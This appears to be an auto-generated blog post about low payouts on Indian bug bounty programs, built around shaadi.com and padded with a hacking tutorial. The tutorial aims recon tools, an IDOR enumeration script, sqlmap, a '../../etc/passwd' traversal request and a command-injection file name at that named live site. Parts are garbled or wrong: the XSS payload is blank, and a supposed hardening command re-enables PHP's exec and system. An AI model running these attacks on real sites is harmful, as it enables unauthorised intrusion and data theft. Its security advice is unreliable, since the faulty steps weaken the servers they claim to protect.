Why I Stopped Hunting on Indian Bug Bounty Programs: The Shaadicom Reality Check + Video

By /

Listen to this Post

Featured Image

Introduction:

Bug bounty hunting in India has exploded in popularity, but researchers are increasingly facing legal threats, unresponsive triage teams, and appreciation certificates instead of cash payouts. The recent shaadi.com appreciation certificate shared by a security researcher highlights a troubling trend: Indian programs often prioritize public recognition over fair compensation, leaving hunters with wasted time and potential legal liability.

Learning Objectives:

  • Identify legal red flags and compliance pitfalls when hunting on Indian bug bounty platforms
  • Execute reconnaissance and API security testing on matrimonial and legacy web applications
  • Exploit common vulnerabilities (IDOR, SQLi, XSS) and implement cloud hardening countermeasures

You Should Know:

  1. The Hidden Risks of Indian Bug Bounty Programs – Legal & Compliance Checklist

Indian programs often operate under ambiguous disclosure policies. Many companies are not covered by formal safe harbors, and the Information Technology Act, 2000 can be weaponized against researchers. Before hunting, verify:

  • Program scope – does it explicitly include the target domain and subdomains?
  • Safe harbor language – written commitment not to pursue legal action.
  • Payout history – check HackerOne, Bugcrowd, or local platforms for real reports.

Step‑by‑step compliance guide:

  1. Visit the program’s policy page. Copy the exact scope into a local file.
  2. Use `curl` to capture the headers and any legal disclaimers:
    `curl -I https://www.shaadi.com/security` (if available)
  3. Send a pre‑hunt email to [email protected] asking for explicit written permission for your intended testing methods.
  4. If no response within 72 hours, do not hunt – lack of reply is not consent.
  5. Log all communications – preserve as PDF evidence.

Windows PowerShell command to archive legal pages:

Invoke-WebRequest -Uri "https://www.shaadi.com/security" -OutFile "shaadi_policy.html"

Linux command to monitor changes in policy:

wget -O policy_$(date +%Y%m%d).html https://www.shaadi.com/security
diff policy_20250101.html policy_20250115.html
  1. Reconnaissance on Matrimonial Platforms – Subdomain & Asset Discovery

Matrimonial sites like shaadi.com often have large attack surfaces: microservices, CDNs, and legacy subdomains. Passive and active recon is critical before injecting a single payload.

Step‑by‑step recon guide:

  1. Passive subdomain enumeration – no direct traffic to target. 
    Using Assetfinder
assetfinder --subs-only shaadi.com | tee shaadi_subs.txt

Using Subfinder with multiple sources
subfinder -d shaadi.com -all -o shaadi_all_subs.txt

Using Amass in passive mode
amass enum -passive -d shaadi.com -o amass_passive.txt

  2. Active probing – send light HTTP requests to verify live hosts.

    Probe with httpx
cat shaadi_subs.txt | httpx -status-code -title -tech-detect -o live_hosts.txt

Use nuclei for template-based scanning (without aggressive flags)
nuclei -l live_hosts.txt -t ~/nuclei-templates/ -severity low,medium -o initial_scan.txt

  3. Screenshot and archive – document the target state.

    Using gowitness
gowitness file -f live_hosts.txt --destination screenshots/

Windows alternative (WSL or PowerShell with curl):

Get-Content .\shaadi_subs.txt | ForEach-Object { curl -s -o NUL -w "$_ : %{http_code}`n" $_ }
  1. API Security Testing for Legacy Matrimonial Web Apps

Many Indian matrimonial platforms expose REST and GraphQL APIs that power profile search, messaging, and payment features. IDOR (Insecure Direct Object References) is the most common and rewarding vulnerability here.

Step‑by‑step API testing:

  1. Capture API traffic – use Burp Suite or OWASP ZAP.

– Set proxy to `127.0.0.1:8080`
– Install CA certificate on your browser
– Navigate through the site (search profiles, send interest, view messages)

  1. Enumerate API endpoints – look for patterns like /api/v1/user/12345, /profile?uid=9876. 
    Using Katana for endpoint discovery
katana -u https://www.shaadi.com -jc -o endpoints.txt

Filter for API patterns
cat endpoints.txt | grep -E "(/api/|/v[0-9]/|\?id=|\?uid=|\?profile_id=)" > api_candidates.txt

  2. Test IDOR manually – modify numeric IDs in requests.

– Change `uid=1001` to `uid=1002` in a GET request
– Observe if you receive another user’s profile data without authorization
– Use Burp Repeater to iterate over IDs: send uid=1001, 1002, 1003…

Python script to automate IDOR testing (educational):

import requests
cookies = {'session': 'YOUR_SESSION_COOKIE'}
for uid in range(1001, 1020):
resp = requests.get(f'https://www.shaadi.com/api/profile/{uid}', cookies=cookies)
if resp.status_code == 200 and 'full_name' in resp.text:
print(f'IDOR vulnerable: {uid} -> {resp.json().get("full_name")}')
  1. Exploiting Common Vulnerabilities – SQLi, XSS & Command Injection

Matrimonial sites often use outdated PHP or ASP.NET stacks. SQL injection in search filters is common. Stored XSS in “About Me” or “Message” fields can lead to session hijacking.

Step‑by‑step exploitation (authorized testing only):

  1. Test for SQLi in search parameters – use `’ OR ‘1’=’1` in a profile search box.

– If the search returns all profiles, the parameter is injectable.
– Use `sqlmap` with caution (must have permission):

sqlmap -u "https://www.shaadi.com/search?q=test" --data="q=test" --level=3 --risk=2 --batch --dbs
  1. Stored XSS – inject a JavaScript payload into the “Interests” or “Message” field.

– Payload: ``
– Wait for admin or another user to view the message – if alert pops, it’s stored XSS.

  1. Command injection – test file upload features (profile photo, documents).

– Upload a file named `profile.jpg; whoami` – if the server echoes the command output, injection exists.
– Check for .php, `.jsp` uploads that bypass extension filters.

Linux command to test for path traversal in file download endpoints:

curl -v "https://www.shaadi.com/download?file=../../../../etc/passwd"
  1. Cloud Hardening & Mitigation for Developers (From a Hunter’s Perspective)

If you are defending a matrimonial site, implement these controls to block the above attacks.

Step‑by‑step cloud hardening:

1. WAF rules (AWS WAF / Cloudflare):

  • Block SQLi patterns: `(?i)(select|union|insert|drop|–|;–)`
    – Block path traversal: `\.\./` or `\.\.%2f`
    – Rate limit API endpoints to 100 requests per minute per IP.

2. API gateway security:

  • Require API keys for all `/api/` endpoints.
  • Implement JWT with short expiration (15 minutes) for user sessions.
  • Use GraphQL depth limiting to prevent DoS.

3. Server hardening (Linux – Ubuntu)

 Remove default PHP dangerous functions
sudo sed -i 's/exec,system,passthru,shell_exec/passthru,shell_exec/g' /etc/php/8.1/cli/conf.d/disable_functions.ini

Install ModSecurity for Apache
sudo apt install libapache2-mod-security2
sudo a2enmod security2
sudo systemctl restart apache2

Windows Server (IIS) hardening commands:

 Remove unnecessary IIS modules
Remove-WebGlobalModule -Name "CGI" -WarningAction SilentlyContinue
Remove-WebGlobalModule -Name "ServerSideInclude"

Enable request filtering to block double-encoding
Add-WebConfigurationProperty -Filter "system.webServer/security/requestFiltering" -Name "allowDoubleEscaping" -Value $false

6. Linux/Windows Commands Every Bug Hunter Needs

Quick reference for daily hunting tasks.

Linux – network & web recon:

 Find live hosts with specific open ports
nmap -p 80,443,8080,8443 -iL live_hosts.txt -oN port_scan.txt

Extract JavaScript files for API endpoint mining
grep -r ".js" endpoints.txt | xargs -I {} curl -s {} | grep -oP '(?<=")(/api/[^"]+)(?=")'

Check for exposed .git folders
curl -s https://target.com/.git/config

Windows – PowerShell for bug bounty:

 Download all JS files from a list of URLs
Get-Content urls.txt | ForEach-Object { Invoke-WebRequest $_ -OutFile ($_.Split('/')[-1] + ".js") }

Check for missing security headers
$headers = (Invoke-WebRequest https://shaadi.com).Headers
if ($headers['Strict-Transport-Security'] -eq $null) { Write-Host "Missing HSTS!" }
  1. Reporting and Responsible Disclosure – Turning Findings into Payouts

After finding a vulnerability, write a clear report. Many Indian programs respond with “appreciation certificate” for low/high severity issues, as seen in the shaadi.com post. To avoid this:

Step‑by‑step reporting:

  1. Reproduce the bug – record a video (OBS Studio) and take screenshots.
  2. Write a proof of concept (PoC) – a simple script or curl command that demonstrates the issue.
  3. Submit via the official channel – never email a raw exploit. Use PGP encryption if possible.
  4. Set a disclosure deadline – state in the report: “If no response within 30 days, I will assume permission to disclose publicly.”
  5. If offered only an appreciation certificate – politely negotiate. Reference industry standards (e.g., Bugcrowd’s vulnerability rating taxonomy).

Example negotiation email template:

Subject: Vulnerability Report 123 – Request for Bounty Alignment
Body: Thank you for the certificate. However, this IDOR vulnerability affects user PII. Based on CVSS 7.5, a cash bounty of $X–$Y is standard. Can we discuss compensation?

What Undercode Say:

  • Key Takeaway 1: Indian bug bounty programs often lack legal safe harbors; always obtain written permission before testing, even on seemingly “open” platforms like shaadi.com.
  • Key Takeaway 2: Matrimonial websites are treasure troves of IDOR and XSS vulnerabilities due to heavy user interaction and legacy code – but hunting there may yield certificates, not cash.

Analysis: The shaadi.com appreciation certificate shared by Aditya Singh is emblematic of a broader cultural and legal gap in South Asian bug bounty. While platforms like HackerOne enforce minimum payouts, self‑run Indian programs frequently undervalue researcher labor, exposing both parties to legal risk. This does not mean Indian programs are worthless – but hunters must treat them as reconnaissance training grounds, not revenue sources. The smart approach: automate recon, report only critical issues, and always triple‑check the liability waiver. Until the Indian IT Act is amended to protect good‑faith researchers, certificates will remain the default “reward”.

Prediction:

Within 12–18 months, we will see a regulatory crackdown on Indian bug bounty programs that issue only “appreciation” tokens for valid vulnerabilities. The rise of coordinated disclosure via CERT-In (Indian Computer Emergency Response Team) will force companies like shaadi.com to adopt binding payout policies. Simultaneously, automated AI‑powered scanners will reduce trivial bugs, pushing hunters toward complex business logic flaws – which remain highly rewarding but demand deeper manual testing. Researchers who master API security and GraphQL introspection will dominate the next wave of Indian bug bounty hunting.

▶️ Related Video (82% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Aditya Singh4180 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: